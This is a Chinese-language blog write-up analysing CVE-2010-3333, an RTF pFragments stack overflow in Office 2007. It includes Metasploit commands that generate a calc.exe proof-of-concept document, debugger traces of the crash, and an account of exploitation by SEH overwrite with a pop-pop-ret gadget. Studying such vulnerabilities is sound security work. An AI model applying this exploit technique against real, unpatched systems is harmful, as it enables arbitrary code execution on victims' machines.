CVE-2010-3333-office RTF棧溢位漏洞分析

Taolaw發表於2021-04-10

0x00 前言

此漏洞是根據泉哥的《漏洞戰爭》來學習分析的,網上已有大量分析文章在此只是做一個獨立的分析記錄。

0x01 復現環境

  • 作業系統-->windows7 x64
  • 軟體版本-->office 2007

0x02 漏洞復現

我們還是儘量走一遍標準分析流程,在假設自己不瞭解任何漏洞相關資訊的前提下來複現此漏洞。這是一個微軟的漏洞,那麼最權威的資訊就是在微軟釋出的相關的漏洞公告裡面。但是比較遺憾的是微軟的漏洞公告除了告訴漏洞的影響的軟體版本和觸發漏洞的是一個RTF格式的檔案,這兩條資訊意外,基本沒有其他比較有用的資訊,這時可以根據官方的補丁來進行補丁分析。本文的重點是學習此漏洞的分析和利用,那麼我們首先就利用msf生成的樣本來進行分析,隨後在用補丁分析的方式探索一下漏洞的成因。但實際的漏洞分析中一定是先補丁分析,再構造樣本,最後再寫利用的,但這裡只好本末倒置一下了。

首先用msf生成一個可以用的樣本,如下

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 0
target => 0
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec 
payload => windows/exec
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set cmd calc.exe
cmd => calc.exe
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > run

msf6新引入的一個操作,在search以後可以直接通過use配合前面的編號來選擇exp,這點很方便啊(必須一鍵三連)!!!這裡的選項target 0是根據目標選擇的,這裡的0表示自動適配目標,應該算是通用性最強的了。

0x03 漏洞分析

首先開啟WINWORD.exe,然後用windbg附加上去。再按g執行以後開啟poc,這裡要說明的一點是開啟的時候最好選擇直接把檔案拖到視窗的方式,這種方式的異常捕獲和其他開啟方式的異常捕獲位置會略微不同。隨後程式被斷下,位置如下所示

0:007> g
ModLoad: 662b0000 6636b000   C:\Windows\system32\spool\DRIVERS\W32X86\3\unires.dll
ModLoad: 66370000 6642b000   C:\Windows\system32\spool\DRIVERS\W32X86\3\unires.dll
ModLoad: 662b0000 6636b000   C:\Windows\system32\spool\DRIVERS\W32X86\3\unires.dll
ModLoad: 66570000 66590000   C:\Windows\system32\prntvpt.dll
ModLoad: 66290000 66425000   C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL
ModLoad: 73730000 7373d000   C:\Windows\system32\WTSAPI32.DLL
(e5c.e58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1105c8ac ebx=05000000 ecx=0000146e edx=00000000 esi=110576f4 edi=00151000
eip=6cf4500a esp=001498cc ebp=001498d4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\MSVCR80.dll - 
MSVCR80!memcpy+0x5a:
6cf4500a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

可以看到這個crash的位置發生在一個不太正常的位置-->memcpy內部的迴圈拷貝指令,這在這類緩衝區溢位的漏洞中很不常見,基於這一點疑問,我們就先看一下edi現在的記憶體屬性,以及連個暫存器所指向的記憶體的內容

0:000> dc esi
110576f4  1ab1e101 fd58b865 6cdfaa66 46453c6d  ....e.X.f..lm<EF
11057704  2b94ee09 c25401d4 08ef151d 4ceb5515  ...+..T......U.L
11057714  7389e8f6 c40c8d32 03b95b9a ed45919a  ...s2....[....E.
11057724  35b549ba 3577e1f8 7eaa0706 509ed269  .I.5..w5...~i..P
11057734  c4788b78 7052b9e4 b18bda91 9e317d73  x.x...Rp....s}1.
11057744  30bea30f b1df8188 8b95e416 76fb76c3  ...0.........v.v
11057754  8022fcf7 1ad6220c 8f88062a b11ff798  ..".."..*.......
11057764  a7253304 fb926e0b 36f105ad 3015dfab  .3%..n.....6...0
0:000> dc edi
00151000  ???????? ???????? ???????? ????????  ????????????????
00151010  ???????? ???????? ???????? ????????  ????????????????
00151020  ???????? ???????? ???????? ????????  ????????????????
00151030  ???????? ???????? ???????? ????????  ????????????????
00151040  ???????? ???????? ???????? ????????  ????????????????
00151050  ???????? ???????? ???????? ????????  ????????????????
00151060  ???????? ???????? ???????? ????????  ????????????????
00151070  ???????? ???????? ???????? ????????  ????????????????
0:000> !address edi
Usage:                  Free
Base Address:           00151000
End Address:            00160000
Region Size:            0000f000
Type:                   00000000	
State:                  00010000	MEM_FREE
Protect:                00000001	PAGE_NOACCESS

這下就比較清楚了,edi所指向的記憶體地址為PAGE_NOACCESS屬性(其標誌性就是記憶體區域全是?,因為不可讀),也就是禁止讀寫,執行等一系列操作,因此造成記憶體訪問違例,觸發了異常。然後我們通過棧回溯的方式看一下當前所在的dll,如下

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
001498d4 64ad0051 0014990c 11050000 0000c8ac MSVCR80!memcpy+0x5a
001498e8 651695a4 04567c30 0014990c 00000000 mso!Ordinal3667+0x548
0014991c e8831870 ee780c4f 0f835347 ea0d3497 mso!Ordinal2605+0x33c5
00149920 ee780c4f 0f835347 ea0d3497 7e6974a6 0xe8831870
00149924 0f835347 ea0d3497 7e6974a6 d2f94498 0xee780c4f
00149928 ea0d3497 7e6974a6 d2f94498 c6af2e14 0xf835347
0014992c 7e6974a6 d2f94498 c6af2e14 e87842af 0xea0d3497

通過函式棧幀可以看到是在mso!Ordinal3667+0x548這個函式中呼叫memcpy導致了上面看到的拷貝異常,我們用Everything搜尋mso.dll,用IDA開啟。這裡還有一點需要注意的地方,由於開啟了ASLR所以dll載入的基地址每次也不一樣,因此我們需要計算一下memcpy函式的偏移,再去IDA中找對應的函式,我們先看一下mso.dll的詳細資訊

0:000> lmm mso v
start    end        module name
64910000 65928000   mso        (export symbols)       C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll
    Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll
    Image path: C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll
    Image name: mso.dll
    Timestamp:        Sat Oct 28 06:21:47 2006 (4542867B)
    CheckSum:         01023B3C
    ImageSize:        01018000
    File version:     12.0.4518.1014
    Product version:  12.0.4518.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0000.04e4
    CompanyName:      Microsoft Corporation
    ProductName:      2007 Microsoft Office system
    InternalName:     MSO
    OriginalFilename: MSO.DLL
    ProductVersion:   12.0.4518.1014
    FileVersion:      12.0.4518.1014
    FileDescription:  2007 Microsoft Office component
    LegalCopyright:   © 2006 Microsoft Corporation.  All rights reserved.

從上述資訊中可以看出dll的基地址是64910000,根據棧回溯,在執行完memcpy之後函式的返回地址是64ad0051,可以得到偏移是1C0051,在IDA中memcpy呼叫的位置如下所示

可以看到memcpy函式的偏移為1C004C,接下來我們就通過動態跟蹤的方式看一看這裡的copy到底複製了什麼。由於此版本開啟了ASLR,所以每次載入的地址都是隨機的,我們附加以後用lmm mso v命令看一下mso的基地址,再加上我們上面算出來的偏移就是memcpy的地址了,不過,為了保險可以先用ub address反彙編來看一下是否是準確的地址

0:009> lmm mso v
start    end        module name
65bb0000 66bc8000   mso        (deferred)             
    Image path: C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll
    Image name: mso.dll
    Timestamp:        Sat Oct 28 06:21:47 2006 (4542867B)
    CheckSum:         01023B3C
    ImageSize:        01018000
    File version:     12.0.4518.1014
    Product version:  12.0.4518.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0000.04e4
    CompanyName:      Microsoft Corporation
    ProductName:      2007 Microsoft Office system
    InternalName:     MSO
    OriginalFilename: MSO.DLL
    ProductVersion:   12.0.4518.1014
    FileVersion:      12.0.4518.1014
    FileDescription:  2007 Microsoft Office component
    LegalCopyright:   © 2006 Microsoft Corporation.  All rights reserved.
0:009> ub 65D70051
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll - 
mso!Ordinal3667+0x52f:
65d70038 8b410c          mov     eax,dword ptr [ecx+0Ch]
65d7003b 25ffff0000      and     eax,0FFFFh
65d70040 50              push    eax
65d70041 0faf4510        imul    eax,dword ptr [ebp+10h]
65d70045 034110          add     eax,dword ptr [ecx+10h]
65d70048 50              push    eax
65d70049 ff750c          push    dword ptr [ebp+0Ch]
65d7004c e83852e4ff      call    mso!Ordinal6877+0x181 (65bb5289)
0:009> bp 65d7004c 
0:009> bl
 0 e 65d7004c     0001 (0001)  0:**** mso!Ordinal3667+0x543

斷點設定如上,隨後執行。這次執行我們重點觀察一下呼叫memcpy時的三個引數,如下所示

0:009> g
ModLoad: 6a430000 6a4eb000   C:\Windows\system32\spool\DRIVERS\W32X86\3\unires.dll
ModLoad: 693d0000 6948b000   C:\Windows\system32\spool\DRIVERS\W32X86\3\unires.dll
ModLoad: 6a430000 6a4eb000   C:\Windows\system32\spool\DRIVERS\W32X86\3\unires.dll
ModLoad: 6cd60000 6cd80000   C:\Windows\system32\prntvpt.dll
ModLoad: 692f0000 69485000   C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL
ModLoad: 73690000 7369d000   C:\Windows\system32\WTSAPI32.DLL
Breakpoint 0 hit
eax=11050000 ebx=05000000 ecx=04c07c30 edx=00000300 esi=04c07c30 edi=00149e40
eip=65d7004c esp=00149c4c ebp=00149c58 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal3667+0x543:
65d7004c e83852e4ff      call    mso!Ordinal6877+0x181 (65bb5289)
0:000> dd esp
00149c4c  00149c7c 11050000 0000c8ac 00149c8c
00149c5c  664095a4 04c07c30 00149c7c 00000000
00149c6c  00000000 00000000 00000000 00000000
00149c7c  00000000 05000000 00000000 00000000
00149c8c  00149cbc 664096f4 00149df8 00000000
00149c9c  ffffffff 00000000 03577018 0014aba0
00149cac  0014a304 00149f60 1b18b8b6 00000000
00149cbc  00149f18 664098bb 00149e40 00149df8
0:000> dd 11050000 
11050000  74d9ecd9 be58f424 128deeb3 31b1c929
11050010  03187031 e8831870 ee780c4f 0f835347
11050020  ea0d3497 7e6974a6 d2f94498 c6af2e14
11050030  e87842af c75ee818 46a24199 a8f79819
11050040  a80a5320 f8e78e65 ed5ac43e 8666904b
11050050  7bef3407 2dde37df ccc06e54 d7491ab9
11050060  6c0327de a492d314 89381c65 cd40ef4a
11050070  2737106c fc40ad8f e7c469f2 cc7ef954
0:000> dd 00149c7c 
00149c7c  00000000 05000000 00000000 00000000
00149c8c  00149cbc 664096f4 00149df8 00000000
00149c9c  ffffffff 00000000 03577018 0014aba0
00149cac  0014a304 00149f60 1b18b8b6 00000000
00149cbc  00149f18 664098bb 00149e40 00149df8
00149ccc  00000000 03577018 00000000 0014a304
00149cdc  00149f60 00000000 ffffffff ffffffff
00149cec  ffffffff 00000000 20000000 00010100

這就是我們比較熟悉的內容了,esp中的前三個引數對應memcpy的三個引數,目標地址是棧空間,源地址的資料是檔案中的內容,而且及其致命的一點是,這裡第三個引數,複製的長度居然也是從檔案中讀取的,這便造就了一個資料完全可控的棧溢位。下圖是檔案的內容和此處copy的引數的對比

複製的內容我們瞭解了,複製的長度也清楚了,接下來需要搞明白目標棧的長度就可以了,通過IDA靜態分析,在呼叫memcpy的函式的上層函式中定義了這個陣列的長度,為0x10,我們也可以通過檢視棧指向的函式返回地址來驗證

到這一步漏洞成因就分析清楚了,另外需要補充的一點是關於這裡複製的內容,是屬於rtf格式的檔案中的pFragements屬性的內容,關於rtf的詳細資訊可以看RFC文件,隨後我們看一下漏洞是如何利用的。

0x04 漏洞利用

這裡的漏洞利用還是用一貫以來的研究方式,在瞭解漏洞我們先看看此版本的office開啟了哪些安全機制

  • ASLR -- 地址隨機化,可以通過覆蓋函式的返回地址和SEH的方式,執行棧空間的shellcode,穩定的利用

是的,也就這樣了,沒了(老實說沒有上一個CVE-2010-2883精彩)。那麼針對這種情況的利用方式就很簡單明瞭了。我們看一下作者是如何利用這個漏洞的。由於windows7符號表沒法載入,看不到程式的SEH鏈,所以後面的除錯改用了x32dbg來完成。
對於此漏洞最有效且迅速的方案就是覆蓋函式的返回地址為jmp esp,然後執行shellcode,當然從這裡的情況可以發現,memcpy函式複製的長度為C8AC大概率可以猜測是覆蓋到了SEH的,通過查詢發現,最近的SEH鏈在筆者的環境中如下所示

中間的地址就是要劫持的地址的位置(SEH的處理函式指標),隨後按f9讓程式繼續執行,由於複製的內容過長,這直接會導致觸發異常處理,這時偵錯程式會直接捕獲並斷下來,斷下來之後繼續看此處的地址,如下所示

可以看到用來處理異常的SEH函式指標被覆蓋為了msxml5.dll的某處地址,檢視這個dll發現是沒有開啟ASLR的,所以地址是固定的可以穩定利用。接下來如果執行異常處理函式就會到此處定址,然後執行,但是此處已經被改為精心設計的地址,所以這後面是直接執行shellcode的程式碼,這裡我們跟過去觀察一下情況,看一下利用的程式碼佈局

這時一個很經典的SEH利用方式,pop + pop + ret指令序列。關於這裡為什麼會用P/P/R的原因,可以參考此處,此時的棧情況,紅色箭頭是返回地址,可以看到返回地址已經是在棧的範圍裡面了,由於沒有開啟DEP,後面的shellcode可以輕鬆的得到執行。

0x05 總結

這個漏洞屬於典型的緩衝區溢位的利用,沒有太多的亮點,和之前的CVE-2009-0927-Adobe Reader緩衝區溢位漏洞分析利用思路差不多,唯一差別就是pdf中可以用對噴射佔領0x0c0c0c0c佈置shellcode,這裡是在棧裡面佈置,都屬於基礎款。

相關文章